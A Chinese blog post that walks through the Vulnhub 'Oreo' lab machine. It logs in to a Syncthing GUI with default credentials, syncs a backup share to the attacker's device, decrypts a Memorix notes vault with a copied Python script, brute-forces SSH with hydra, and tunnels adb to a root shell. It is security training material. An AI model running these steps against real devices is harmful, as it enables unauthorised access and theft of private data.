前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Vulnhub - Oreo

Vulnhub - Oreo

作者头像
MssnHarvey
发布2023-02-27 17:21:30
3330
发布2023-02-27 17:21:30
举报
文章被收录于专栏:Harvey

nmap扫描存活主机和端口,发现开放了5555、8022、8384、22000端口

代码语言:javascript
复制
PORT      STATE    SERVICE         VERSION
5555/tcp  filtered freeciv
8022/tcp  open     ssh             OpenSSH 8.0 (protocol 2.0)
8384/tcp  open     ssl/marathontp?
22000/tcp open     ssl/snapenetio?

5555端口为adb,但是受防火墙保护;8022端口为ssh,但是不知道账号密码 8384端口访问如下:

Syncthing默认监听以下几个端口

  • 8384端口是网页GUI监听端口(Web访问控制端口),默认监听127.0.0.1
  • 22000(TCP)是节点访问端口,tcp://0.0.0.0:22000服务监听地址
  • udp://0.0.0.0:21027本地发现服务端口
  • 44647(UDP)
  • 37269(UDP)

局域网使用时开放前二个端口即可。 两台机器非局域网时,如果只开放前两个端口,至少有一方有公网IP。

于是我们尝试syncthing/syncthing成功登录,看到有个Backups共享文件夹

接着我们安装一下Syncthing并启动它

代码语言:javascript
复制
apt install syncthing
syncthing

点击Actions -> Show my ID,复制Device Identification

代码语言:javascript
复制
HBKICWR-IKA7S4D-JIZMFBR-R3EBMIX-ATEEACB-ZJQO5KY-TXIHIUO-KASIXQJ

然后回到oreo,点击Add Remote Device,输入Device IDDevice Name

再点击Backup -> Edit -> Sharing,勾选刚刚添加的设备,从而让我们的Syncthing也能同步共享获取数据

其中在/panama.android.notes目录下找到有用文件base.apkpanama.android.notes.logpanama.android.notes.zip panama.android.notes.log如下:

代码语言:javascript
复制
{
    "label": "Memorix",
    "versionName": "7.0.3",
    "versionCode": 70300,
    "packageName": "panama.android.notes",
    "sourceDir": "\/data\/app\/panama.android.notes-8aVmvcM6r4zL-bVIJOS7Jw==\/base.apk",
    "dataDir": "\/data\/user\/0\/panama.android.notes",
    "lastBackupMillis": 1583535456192,
    "isEncrypted": false,
    "isSystem": false,
    "backupMode": 3
}

再来解压panama.android.notes.zip如下:

/databases中发现数据库文件notes_db,通过sqlite-tools打开进行查表等操作发现entry表中的数据被加密了

代码语言:javascript
复制
┌──(root💀hacker)-[~/sqlite-tools-linux-x86-3400100]
└─# file notes_db       
notes_db: SQLite 3.x database, user version 7, last written using SQLite version 3019004, file counter 72, database pages 6, cookie 0x3, schema 4, largest root page 6, UTF-8, version-valid-for 72

┌──(root💀hacker)-[~/sqlite-tools-linux-x86-3400100]
└─# ./sqlite3 notes_db
sqlite> .tables
android_metadata  entry.tables
sqlite> .mode column
sqlite> select * from entry;

接着利用jadx反编译base.apk,可知是aes加密

代码语言:javascript
复制
apt install jadx
jadx-gui

找到panama.android.notes.support,关键代码如下:

①.PrefsSupport

代码语言:javascript
复制
public class PrefsSupport {
    public static final String PREFS_MASTERPHRASE = "masterkey";
    public static final String PREFS_PASSWORD = "hash";
    public static final String PREFS_SALT = "salt";

②.CryptoUtils

代码语言:javascript
复制
private static String decrypt(SecretKey secretKey, String str) throws Exception {
    if (secretKey == null) {
        throw new Exception("SecretKey missing, cannot decrypt.");
    }
    if (str == null) {
        return null;
    }
    Cipher cipher = Cipher.getInstance(CYPHER_TRANSFORMATION);
    cipher.init(2, secretKey);
    return new String(cipher.doFinal(Base64.decode(str, 0)));
}

private static SecretKey generateKey(char[] cArr, byte[] bArr) throws NoSuchAlgorithmException, InvalidKeySpecException {
    return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(cArr, bArr, 1000, 256));
}

private static SecretKey getMasterKey(String str, String str2) throws Exception {
    return generateKey(decrypt(getPasswordKey(str), str2).toCharArray(), MASTER_SALT);
}

private static SecretKey getPasswordKey(String str) throws Exception {
    return generateKey(str.toCharArray(), Base64.decode(App.prefs.getString(PrefsSupport.PREFS_SALT, PASSWORD_SALT_STRING).getBytes(), 0));
}

然后aes解密得到密码:w@ckySystem99,脚本如下(这块没搞懂,就直接搬别人写的了🤔):

代码语言:javascript
复制
┌──(root💀hacker)-[~/sqlite-tools-linux-x86-3400100]
└─# pip2 install backports.pbkdf2 pycrypto

┌──(root💀hacker)-[~/sqlite-tools-linux-x86-3400100]
└─# python2 aes.py notes_db panama.android.notes_preferences.xml --vaultonly
from backports.pbkdf2 import pbkdf2_hmac
import base64
from Crypto.Cipher import AES
from Crypto import Random
import xml.etree.ElementTree as ET
import sqlite3, json, string
import argparse
import os.path
parser = argparse.ArgumentParser()
parser.add_argument("db", help="Database file containing the notes")
parser.add_argument("xml", help="Xml preferences file")
parser.add_argument("--vaultonly",help="Only show vault items",action="store_true")

args = parser.parse_args()

print("########## MemorixVault ##########\n\n\n")

if os.path.isfile(args.db) and os.path.isfile(args.xml):
    pass
else:
    print("Check {} and {} are in this folder".format(args.db,args.xml))
    exit()

class MemorixVault:
    def __init__(self,db_path="db.sqlite3",xml_path="preferences.xml"):
        self.db_path = db_path
        self.xml_path = xml_path
    def decrypt(self,encrypted, passphrase): #EQUIVALENT TO JAVA DECRYPT FUNCTION
        aes = AES.new(passphrase, AES.MODE_ECB)
        return aes.decrypt(base64.b64decode(encrypted))


    def crack(self):
        entries = {"clear":[],"vault":[]}
        xml = ET.parse(self.xml_path).getroot() #PARSE XML FOR READING SALT,HASH AND MASTERKEY
        conn = sqlite3.connect(self.db_path) #READ SQLITE DATABASE
        c = conn.cursor()
        for entry in c.execute('SELECT * FROM entry'): #GET ALL ENTRIES FROM DATABASE
            try:
                base64.b64decode(entry[2]) #IF ENTRY CONTENT IS BASE64 ---> THAT MEANS IT'S ENCRYPTED
                entries["vault"].append(entry) #MOVE ENTRY TO VAULT
            except:
                entries["clear"].append(entry) #IF ENTRY IS NOT BASE64 ---> IT IS PUBLIC

        xml_content = {}
        for child in xml:
            xml_content[child.attrib["name"]] = child.text #READ XML
        hash = xml_content["hash"] #GETTING HASH
        masterkey = xml_content["masterkey"] #GETTING ENCRYPTED MASTERKEY
        salt = base64.b64decode(xml_content["salt"]) #GETTING SALT (AND DECODE IT )
        clef = base64.b64decode(hash) #GETTING KEY AND DECODE IT (WITH THIS KEY, WE DON'T NEED ANY PASSWORD), FOR MORE DETAILS, CHECK VERIFY_PASSWORD FUNCTION.
        mdo = self.decrypt(masterkey,clef) #GETTING MDO ( LOOK IN THE DIAGRAM ), BY DECODING XML MASTERKEY WITH THE KEY ( DECODED HASH )
        encrypted_len = len(entries["vault"]) #CALCULATING NUMBER OF ENCRYPTED ENTRIES ( JUST FOR VISUAL )
        mdo = mdo.decode("utf-8").replace("\x0c","").encode("utf-8") #REMOVE MDO GARBAGE
        masterKey = pbkdf2_hmac("sha1", mdo, salt, 1000, 32)  #GETTING DECRYPTED MASTERKEY BY USING MDO

        for entry in entries["vault"]: 
            encryptedTitle = entry[1] #GETTING ENCRYPTED TITLE
            encryptedContent = entry[2] #GETTING ENCRYPTED CONTENT
            decryptedTitle = self.decrypt(encryptedTitle,masterKey).decode().replace("\r","") #DECRYPT TITLE AND REMOVE GARBAGE
            decryptedContent = self.decrypt(encryptedContent,masterKey).decode().replace("\r","") #DECRYPT CONTENT AND REMOVE GARBAGE
            entry = list(entry) #CONVERT TUPLE TO LIST FOR EDIT VALUES
            decryptedContent = ''.join([x for x in decryptedContent if x in string.printable])#REMOVE SOME GARBAGE
            decryptedTitle = ''.join([x for x in decryptedTitle if x in string.printable])#REMOVE SOME GARBAGE
            entry[1] = decryptedTitle #REPLACE ENCRYPTED TITLE BY DECRYPTED TITLE
            entry[2] = decryptedContent #REPLACE ENCRYPTED CONTENT BY DECRYPTED CONTENT

            #And below it is the results display code

            if args.vaultonly == False:
                entries["clear"].append(tuple(entry))
            else:

                decryptedContent = json.loads(decryptedContent)
                print("{} : ".format(decryptedTitle))
                for item in decryptedContent:
                    print(item["text"]+" ---------> "+str("Checked" if item["checked"] else "Not checked"))

        if args.vaultonly == False:
            i = 1
            print("############## CLEAR ####################\n")
            for entry in entries["clear"]:
                if i > (len(entries["clear"]) - encrypted_len):
                    print("\n############## VAULT ####################\n")
                content = json.loads(entry[2])
                print("{} : ".format(entry[1])+"\n")
                for item in content:
                    print("\t"+item["text"]+" ---------> "+str("Checked" if item["checked"] else "Not checked"))
                i += 1




vault = MemorixVault(db_path=args.db,xml_path=args.xml)
vault.crack()

然后尝试通过hydra爆破账号,发现任意用户名都可登录

代码语言:javascript
复制
hydra -L /usr/share/wordlists/usernames.txt -P pass.txt 192.168.150.17 ssh -s 8022

这里不知道为啥靶机IP突然会变🤔不过ssh可以成功登录,得到user.txt:af91f6549d776d17ce9eb9ba8bf8d775

接着我们可以利用ssh进行端口转发,通过ssh隧道将远程私有端口重定向到本地端口,将adb的5555端口映射到本地的6666端口并让它在后台运行

代码语言:javascript
复制
ssh harvey@192.168.150.19 -p 8022 -L 6666:127.0.0.1:5555 -N

最后adb成功连接拿到shell后su提权得到flag:3b4ae23cd7323dedfb684912d006d3c3

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-01-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
弹性公网 IP
弹性公网 IP(Elastic IP,EIP)是可以独立购买和持有,且在某个地域下固定不变的公网 IP 地址,可以与 CVM、NAT 网关、弹性网卡和高可用虚拟 IP 等云资源绑定,提供访问公网和被公网访问能力;还可与云资源的生命周期解耦合,单独进行操作;同时提供多种计费模式,您可以根据业务特点灵活选择,以降低公网成本。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档